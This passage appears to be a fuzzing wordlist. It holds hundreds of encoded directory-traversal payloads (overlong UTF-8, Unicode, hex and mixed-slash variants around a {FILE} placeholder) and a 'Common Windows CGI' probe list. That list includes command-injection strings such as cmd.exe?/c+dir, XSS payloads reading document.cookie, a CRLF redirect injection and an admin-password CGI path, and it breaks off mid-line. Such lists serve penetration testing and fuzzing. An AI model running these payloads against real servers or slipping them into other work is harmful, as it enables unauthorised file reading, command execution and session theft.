%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> ..%u2216{FILE}<br /> ..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uF025{FILE}<br /> ..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> %uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> ..0x2f{FILE}<br /> ..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> 0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br 